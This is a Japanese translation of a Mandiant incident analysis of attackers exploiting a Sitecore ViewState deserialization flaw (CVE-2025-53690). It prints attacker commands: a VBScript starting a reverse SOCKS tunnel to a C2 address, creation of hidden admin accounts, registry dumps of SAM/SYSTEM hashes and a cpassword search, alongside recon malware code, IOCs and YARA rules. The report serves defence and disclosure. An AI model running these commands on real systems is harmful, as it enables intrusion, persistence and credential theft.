Sitecore製品におけるViewStateデシリアライゼーションのゼロデイ脆弱性(CVE-2025-53690)

執筆者: Rommel Joven、Josh Fleischer、Joseph Sciuto、Andi Slok、Choon Kiat Ng


更新(9月3日): 本投稿は、GoTokenTheftの使用に関する情報を含めるため更新されました。

最近の調査において、Mandiant Threat Defenseは、2017年以前のSitecoreデプロイメントガイドで公開されていたサンプルのマシンキーを利用しているSitecore環境に影響する、アクティブなViewStateデシリアライゼーション攻撃を発見しました。攻撃者は露出したASP.NETマシンキーを悪用してリモートコード実行を行いました。

Mandiantはこの問題に対処するため、Sitecoreと直接連携しました。Sitecoreはこの脆弱な構成をCVE-2025-53690として追跡しており、公開されているデプロイメントガイドで露出したサンプルキーを用いて複数のSitecore製品のいずれかのバージョンをデプロイした顧客(具体的にはSitecore XP 9.0およびActive Directory 1.4以前のバージョン)に影響します。Sitecoreは、更新されたデプロイメントでは一意のマシンキーが自動生成されることを確認しており、影響を受ける顧客には通知済みです。

影響を受ける可能性のある製品の詳細については、Sitecoreのアドバイザリを参照してください。 

概要

Mandiantは迅速対応を開始して間もなく攻撃を阻止することに成功し、その結果、攻撃ライフサイクル全体を観測するには至りませんでした。しかし、調査により敵対者の活動に関する洞察を得ることができました。初期のサーバ侵害から権限昇格に至るまでの進展から、攻撃者が侵害した製品と悪用した脆弱性を深く理解していたことが明らかでした。この攻撃チェーンにおける主な出来事は次のとおりです: 

  • 初期侵害は、インターネットに公開された影響対象のSitecoreインスタンスに対してViewState Deserializationの脆弱性CVE-2025-53690を悪用することで達成され、リモートコード実行に至りました。

  • 復号されたViewStateペイロードには、内部偵察用に設計されたマルウェアWEEPSTEELが含まれていました。

  • このアクセスを利用して、脅威アクターはWebアプリケーションのルートディレクトリをアーカイブし、web.configなどの機微ファイルを取得する意図を示しました。これに続いてホストおよびネットワークの偵察が行われました。

  • 脅威アクターは公開ディレクトリにツールを配置し、次のものが含まれていました:

  • オープンソースのネットワークトンネルツールEARTHWORM 

  • オープンソースのリモートアクセスツールDWAGENT

  • オープンソースのActive Directory(AD)偵察ツールSHARPHOUND 

  • ローカル管理者アカウントが作成され、キャッシュされた管理者資格情報の侵害を試みるためにSAM/SYSTEMハイブのダンプに使用されました。侵害された資格情報により、RDPを介した横展開が可能になりました。

  • DWAgentは永続的なリモートアクセスを提供し、Active Directory偵察に使用されました。

  • https://storage.googleapis.com/gweb-cloudblog-publish/images/viewstate-sitecore-fig1.max-900x900.png

    図1: 攻撃ライフサイクル

    初期侵害

    外部偵察

    脅威アクターは、さまざまなエンドポイントに対するHTTPリクエストで被害者のWebサーバをプロービングすることから作戦を開始し、最終的に/sitecore/blocked.aspxページに注目を移しました。このページは正規のSitecoreコンポーネントで、ライセンスの問題によりリクエストがブロックされた場合にメッセージを返すだけです。Tこのページが隠しViewStateフォーム(標準的なASP.NET機能)を使用していること、さらに認証なしでアクセス可能であることが組み合わさり、ViewStateデシリアライゼーション攻撃の潜在的な標的となりました。

    ViewStateデシリアライゼーション攻撃

    ViewStateは、__VIEWSTATEという名前の隠しHTMLフィールドに保存することでWebページの状態を保持するために設計されたASP.NET機能です。ViewStateデシリアライゼーション攻撃は、検証メカニズムが存在しない、または回避される場合に、サーバがViewStateメッセージをデシリアライズしようとする性質を悪用します。マシンキー(ViewStateの完全性と機密性を保護するもの)が侵害されると、アプリケーションはサーバに送信される正当なViewStateペイロードと悪意あるViewStateペイロードを実質的に区別できなくなります。

    ローカルWebサーバ(IIS)ログには、脅威アクターの攻撃がblocked.aspxエンドポイントへのHTTP POSTリクエスト送信から始まり、HTTP 302「Found」応答を受けたことが記録されていました。このWebリクエストは、Windowsアプリケーションイベントログ(イベントID1316)に記録された「ViewState verification failed」メッセージと一致しており、そこには脅威アクターが送信した細工済みViewStateペイロードが含まれていました:

    Log: Application
    Source: ASP.NET 4.0.30319.0
    EID: 1316
    Type: Information
    Event code: 4009-++-Viewstate verification failed. Reason: Viewstate was 
    invalid.
    <truncated>
    ViewStateException information:
        Exception message: Invalid viewstate.
        Client IP: <redacted>
        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; 
    Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 
    (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
    Chrome/121.0.0.0 Safari/537.36
        PersistedState: <27760 byte encrypted + base64 encoded payload>
        Referer: 
        Path: /sitecore/blocked.aspx

    これは、脅威アクターがサーバのマシンキーを把握しており、公開プロジェクトysoserial.netのようなツールを用いて悪意あるViewStateリクエストを作成できたことを示しています。 

    初期ホスト偵察

    Mandiantは、ASP.NET構成ファイルweb.configに保存されていたサーバのマシンキーのコピーを回収しました。Mandiantはこのキーを用いて脅威アクターのViewStateペイロードを復号し、Information.dllという埋め込み.NETアセンブリが含まれていることを確認しました。このアセンブリはMandiantがWEEPSTEELとして追跡しており、内部偵察ツールとして機能し、GhostContainerバックドアおよび、過去に野外で観測された情報収集ペイロードと類似点があります

    WEEPSTEELについて

    WEEPSTEEL は、システム、ネットワーク、ユーザー情報を収集するために設計された偵察ツールです。収集したデータは暗号化され、無害な__VIEWSTATE応答に偽装して攻撃者へ送出(流出)されます。

    このペイロードは、偵察のために次のシステム情報を送出するよう設計されています:

    // Code Snippet from Host Reconnaissance Function
    Information.BasicsInfo basicsInfo = new Information.BasicsInfo
    {
    	Directories = new Information.Directories
    	{
    		CurrentWebDirectory = HostingEnvironment.MapPath("~/")
    	},
    // Gather system information
    	OperatingSystemInformation = Information.GetOperatingSystemInformation(),
    	DiskInformation = Information.GetDiskInformation(),
    	NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
    	Process = Information.GetProcessInformation()
    };
    // Serialize the 'basicsInfo' object into a JSON string
    JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
    text = javaScriptSerializer.Serialize(basicsInfo);

    WEEPSTELLマルウェアの収集機能を示すコードスニペット

    WEEPSTEELは、同様のViewState関連侵入向けに調整された公開ツールExchangeCmdPy.pyから一部機能を借用しているように見えます。この比較は、GhostContainerバックドアに関するKasperskyの解説で当初指摘されていました。ExchangeCmdPyと同様に、WEEPSTEELは、正当な__VIEWSTATEパラメータを装う隠しHTMLフィールドを通じて出力を送信します。以下に示します:

    <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
    value="/wEPDwUKLTcyODc4{AES encrypted + base64 encoded output}" />

    その後、脅威アクターからblocked.aspxエンドポイントへのHTTP POSTリクエストはHTTP 200「OK」応答となり、Mandiantは、前述の形式の出力が含まれていたと評価しています。脅威アクターがサーバに対するハンズオンの操作を継続する中で、Mandiantはblocked.aspxエンドポイントに対する成功応答を伴うHTTP POSTリクエストの繰り返しを観測しました。

    足場の確立

    悪用に成功した後、脅威アクターはNETWORK SERVICE権限(IISワーカープロセスw3wp.exeに相当)を獲得しました。このアクセスは、さらなる悪意ある活動の出発点を提供しました。

    設定情報の抽出

    次に脅威アクターは、 \inetpub\sitecore\SitecoreCD\Website(Sitecore Content Delivery(CD)インスタンスのWebルート)の内容をアーカイブすることで、重要な設定ファイルを送出しました。このディレクトリにはweb.configファイルなど、アプリケーションのバックエンドや依存関係に関する機微情報を提供するファイルが含まれており、侵害後の活動を可能にする助けとなります。

    ホスト偵察

    主要なサーバ設定ファイルを入手した後、脅威アクターは、実行中プロセス、サービス、ユーザーアカウント、TCP/IP設定、アクティブなネットワーク接続の列挙などを含む(ただしこれらに限定されない)ホストおよびネットワーク偵察を通じて、侵害したサーバのフィンガープリントを行いました。

    whoami
    hostname
    net user
    tasklist
    ipconfig /all
    tasklist /svc
    netstat -ano
    nslookup <domain>
    net group domain admins
    net localgroup administrators

    ステージングディレクトリ 

    脅威アクターは、MusicVideoなどの公開ディレクトリを、ツールのステージングおよび展開に利用しました。Publicディレクトリに書き込まれたファイルには次が含まれます:

    • ファイル: C:\Users\Public\Music\7za.exe

    • 説明: 7-Zipファイルアーカイバのコマンドライン実行ファイル

    • SHA-256: 223b873c50380fe9a39f1a22b6abf8d46db506e1c08d08312902f6f3cd1f7ac3

    • ファイル: C:\Users\Public\Music\lfe.ico

    • 説明: SOCKS v5サーバを備えたオープンソースのネットワークトンネルツール(EARTHWORMとして追跡)

    • SHA-256: b3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b

    EARTHWORMについて

    EARTHWORMはオープンソースのトンネラーで、検知やネットワークフィルタリングを回避するために別プロトコル上で被害者システムとの間に秘匿チャネルを作成したり、通常は到達できないシステムへのアクセスを可能にしたりします。

    調査中、EARTHWORMは、次のコマンド&コントロール(C2)サーバへ戻るリバースSOCKSプロキシ接続を開始するために実行されました: 

    • 130.33.156[.]194:443

    • 103.235.46[.]102:80

    • ファイル: C:\Users\Public\Music\1.vbs

    • 説明: 攻撃用VBScript: 脅威アクターのコマンド実行に使用され、内容は目的のアクションに応じて変化します。

    • SHA-256: <hash varies>

    ファイル1.vbsが取得されたある事例では、EARTHWORMを起動するための簡単なVBSコードが含まれていました。

    Set shell = CreateObject("WScript.Shell")
    shell.CurrentDirectory = "C:\Users\Public\Music"
    shell.Run "ufp.exe -s rssocks -d 130.33.156[.]194 
    -e 443", 1, False

    権限の昇格

    初期侵害の後、脅威アクターはNETWORK SERVICE権限からSYSTEMまたはADMINISTRATORレベルへアクセスを昇格させました。

    これには、ローカル管理者アカウントの作成と、ドメイン管理者アカウントへのアクセス獲得が含まれます。脅威アクターが権限昇格のために追加ツールを使用している様子が観測されました。

    ローカル管理者の追加

    • asp$: 脅威アクターは権限昇格ツールを利用して、ローカル管理者アカウントasp$を作成しました。一般的なサフィックス「$」を付けたASP.NETサービスアカウントを模した命名規則は、紛れ込みと検知回避を狙ったものと示唆されます。
    "C:\Users\Public\Music\helper.exe" "net user asp$ {REDACTED} /add"
    "C:\Users\Public\Music\helper.exe" "net localgroup administrators asp$ /add"
    • sawadmin: 後の段階で、脅威アクターはDWAGENTのリモートセッションを確立し、2つ目のローカル管理者アカウントを作成しました。
    net  user sawadmin {REDACTED} /add
    net  localgroup administrators sawadmin /add

    プロセストークン窃取の試行

    脅威アクターが GoToken.exeというバイナリをsawadminのコンテキストで、次のコマンドライン引数を付けて実行している様子が観測されました:

    GoToken.exe  -h
    GoToken.exe  -l
    GoToken.exe  -ah
    GoToken.exe  -t

    MandiantはサーバからGoToken.exeバイナリを回収できませんでしたが、ファイル名と引数から、公開されているGo製トークン窃取ツールGoTokenTheftである可能性が強く示唆されます。このツールは、システム上の他ユーザーのセキュリティコンテキストを用いてコマンドを実行するよう設計されています。

    入手可能なソースコードに基づくと、攻撃者は次のアクションを試みました:

    • h: ツールのヘルプメニューを表示

    • l: 実行中の全プロセスと、それに関連付くユーザートークンを一覧表示し、なりすまし対象を特定

    • ah: システムアカウントを除外し、ユーザーのトークンを用いてコマンドを実行

    • t: システム上でアクティブな一意のユーザートークンをすべて一覧表示

    資格情報のダンプ

    脅威アクターは、新たに作成した2つのアカウントを使用してホストへのRDPアクセスを確立し、両アカウントからSYSTEMおよびSAMレジストリハイブをダンプしました。冗長ではあるものの、これにより攻撃者はシステム上のローカルユーザーアカウントのパスワードハッシュを抽出するために必要な情報を得ました。各アカウントに関連する活動は次のとおりです:

    • asp$
    reg  save HKLM\SYSTEM c:\users\public\system.hive
    reg  save HKLM\SAM c:\users\public\sam.hive
    reg  save HKLM\SYSTEM SYSTEM.hiv
    reg  save HKLM\SAM SAM.hiv

    プレゼンスの維持

    脅威アクターは、作成および侵害した管理者資格情報を用いたRDPアクセスを含む複数の手法を組み合わせて永続性を維持しました。さらに、脅威アクターはアカウントへの長期アクセスを維持するためのコマンドを実行しました。これには、注目する管理者アカウントのパスワード有効期限を無効化する設定変更が含まれます:

    net  user <AdminUser> /passwordchg:no /expires:never
    wmic  useraccount where name='<AdminUser>' set PasswordExpires=False

     冗長性の確保と継続的なリモートアクセスのため、DWAGENTツールもインストールされました。

    リモートデスクトッププロトコル 

    アクターはリモートデスクトッププロトコルを広範に使用しました。トラフィックは、セキュリティ制御を回避し活動を隠蔽するため、EARTHWORMが作成したリバースSOCKSプロキシを経由してルーティングされました。あるRDPセッションでは、脅威アクターがアカウントasp$ のコンテキストで、追加の攻撃者ツールdwagent.exeおよびmain.exeC:\Users\asp$\Downloadsにダウンロードしました。

    ファイルパス

    MD5

    説明

    C:\Users\asp$\Downloads\dwagent.exe

    n/a

    DWAgentインストーラ

    C:\Users\asp$\Downloads\main.exe

    be7e2c6a9a4654b51a16f8b10a2be175

    hxxp://130.33.156[.]194/main.exe からダウンロード

    表1: RDPセッションで書き込まれたファイル

    リモートアクセスツール: DWAGENT

    DWAGENTは、ホストのリモート制御を可能にする正規のリモートアクセスツールです。DWAGENTSYSTEM権限のサービスとして動作し、自動的に起動するため、昇格権限と永続的なアクセスが確保されます。DWAGENTのリモートセッション中、攻撃者はGoToken.exeファイルを書き込みました。実行されたコマンドから、このツールがレジストリハイブの抽出を支援するために使用されたことが示唆されます。

    ファイルパス

    MD5

    説明

    C:\Users\Public\Music\GoToken.exe

    62483e732553c8ba051b792949f3c6d0

    SAM/SYSTEMハイブのダンプ前に実行されたバイナリ。

    表2: DWAgentリモートセッションで書き込まれたファイル

    内部偵察

    Active Directory偵察

    DWAGENTのリモートセッション中、脅威アクターは標的ネットワーク内のドメインコントローラを特定するためのコマンドを実行しました。その後、特定したDC上のSYSVOL共有にアクセスし、グループポリシーオブジェクト(GPO)のXMLファイル内からcpasswordを検索しました。これは、ドメイン内で弱い暗号化形式のまま誤って保存された特権資格情報を発見するために攻撃者が用いる、よく知られた手法です

    nltest  /DCLIST:<domain>
    nslookup   <domain-controller>
    findstr  /S /l cpassword 
    \\<domain-controller>\sysvol\dcext.local\policies\*.xml

    SHARPHOUND

    その後、脅威アクターは正規の管理者アカウントを使用して新しいRDPセッションへ移行しました。このセッションから、Active Directoryセキュリティ分析プラットフォームBLOODHOUNDのデータ収集コンポーネントであるSHARPHOUNDがブラウザ経由でダウンロードされ、C:\Users\Public\Music\sh.exeとして保存されました。 

    ダウンロード後、脅威アクターはDWAGENTのリモートセッションに戻り、sh.exeを実行して広範なActive Directory偵察を実施しました。

    偵察が完了すると、脅威アクターは(侵害された管理者アカウントを引き続き使用して)RDPセッションへ切り替え、送出に備えてSharpHoundの出力をアーカイブしました。

    C:\Program Files\7-Zip\7zFM.exe 
    "C:\Users\Public\Music\<number>_BloodHound.zip"

    アカウントのクリーンアップ

    管理者アカウントが侵害されると、先に作成されたasp$およびsawadminアカウントは削除され、より安定的で秘匿性の高いアクセス手法へ移行したことを示しています。 

    横展開

    侵害された管理者アカウントは、他ホストへのRDPに使用されました。これらのシステム上で、脅威アクターは偵察を継続し、EARTHWORMを展開するためのコマンドを実行しました。 

    あるホストでは、脅威アクターが侵害された管理者アカウントを使用してRDPでログインしました。このアカウントのコンテキストで、脅威アクターは次のような内部偵察コマンドを継続して実行しました:

    quser
    whoami
    net user <AdminUser> /domain
    nltest  /DCLIST:<domain>
    nslookup  <domain-controller>

    アカウント

    説明

    asp$

    作成されたアカウント

    sawadmin

    作成されたアカウント

    h496883

    RDP接続元のワークステーション

    ファイルベース

    MD5

    SHA-256

    説明

    117305c6c8222162d7246f842c4bb014

    a566cceaf9a66332470a978a234a8a8e2bbdd4d6aa43c2c75c25a80b3b744307

    WEEPSTEEL(Information.dll)

    a39696e95a34a017be1435db7ff139d5

    b3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b

    EARTHWORM(lfe.ico、ufp.exe、ufp.ico)

    f410d88429b93786b224e489c960bf5c

    n/a

    Helper.ico、helper.exe

    <hash varies> 

    <hash varies> 

    1.vbs

    be7e2c6a9a4654b51a16f8b10a2be175

    n/a

    main.exe

    62483e732553c8ba051b792949f3c6d0

    n/a

    GoToken.exe

    63d22ae0568b760b5e3aabb915313e44

    61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

    SharpHound 

    ネットワークベース

    IP
    130.33.156[.]194:443
    130.33.156[.]194:8080
    103.235.46[.]102:80

    検知

    Google Security Operations EnterpriseおよびEnterprise+のお客様は、以下の製品脅威検知およびコンテンツ更新を活用して、脅威の特定と修復に役立てることができます。すべての検知は、Mandiant Frontline Threatsのキュレーション済み検知ルールセット内で、Google Security Operationsテナントに自動配信されています。これらの更新済みルールを利用するには、Content Hubにアクセスし、上記のいずれかの文字列で検索してから、実装または変更したい各ルールを表示・管理してください。

    • Earthwormトンネリングの指標

    • Webサーバプロセスによるユーザーアカウント作成

    • Users Musicからプロセスを起動するCmd

    • Sharphound偵察

    • パスワード有効期限なしで作成されたユーザーの実行

    • Webサーバプロセスによる特権権限グループの探索

    YARAルール

    rule G_Recon_WEEPSTEEL_1 {
        meta:
        	author = "Mandiant"    
        strings:
            $v_w = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" wide
            $v_a = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" 
            $v_b64_w = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" base64wide
            $v_b64_a = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" base64
            $s2 = "Services\\Tcpip\\Parameters" wide
            $s3 = "GetOperatingSystemInformation"
            $s4 = "GetSystemInformation"
            $s5 = "GetNetworkAdapterInformation"
            $s6 = "GetAllNetworkInterfaces"
            $s7 = "GetIPProperties"
            $s8 = "GetPhysicalAddress"
            $s9 = "GetDomainNameFromRegistry"
            $c1 = "Aes" fullword
            $c2 = "CreateEncryptor" fullword
            $c3 = "System.Security.Cryptography" fullword
            $c4 = "ToBase64String" fullword
            $guid = "6d5a95da-0ffe-4303-bb2c-39e182335a9f"
        condition:
            uint16(0) == 0x5a4d and 
            (
                (all of ($c*) and 7 of ($s*)) or
                ($guid and (any of ($v*)))
            )
        }
    rule G_Tunneler_EARTHWORM_1 {
        meta:
            author = "Mandiant"
        strings:
        	$s1 = "free1.2"
    		$s2 = ".//xxx ([-options] [values])*"
    		$s3 = "You can create a lcx_listen tunnel like this :"
    		$s4 = ".//ew -s lcx_listen --listenPort 1080 --refPort 8888"
    		$s8 = "I_AM_NEW_RC_CMD_SOCK_CLIENT"
    		$s9 = "CONFIRM_YOU_ARE_SOCK_TUNNEL"
    		$s11 = "lcx_listen" fullword
    		$s12 = "call back cmd_socks ok"
    		$s13 = "lcx_tran" fullword
    		$s14 = "lcx_slave" fullword
    		$s15 = "rssocks" fullword
    		$s16 = "ssocksd" fullword
    		$s17 = "rcsocksd" fullword
    		$marker1= "earthworm" nocase ascii wide
    		$marker2 = "rootkiter" nocase ascii wide
    	condition:
    		((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0) == 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE)) and 
    		(4 of ($s*) or all of ($marker*))
    }

    謝辞

    本調査を通じて支援いただいたSitecoreチームに感謝申し上げます。加えて、ペイロード分析に協力いただいたTom Bennett氏およびNino Isakovic氏にも感謝します。また、Richmond Liclican氏および伊藤達彦氏から提供された有益な意見と技術レビューにも謝意を表します。

    投稿先

    翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability/

    ソース: cloud.google.com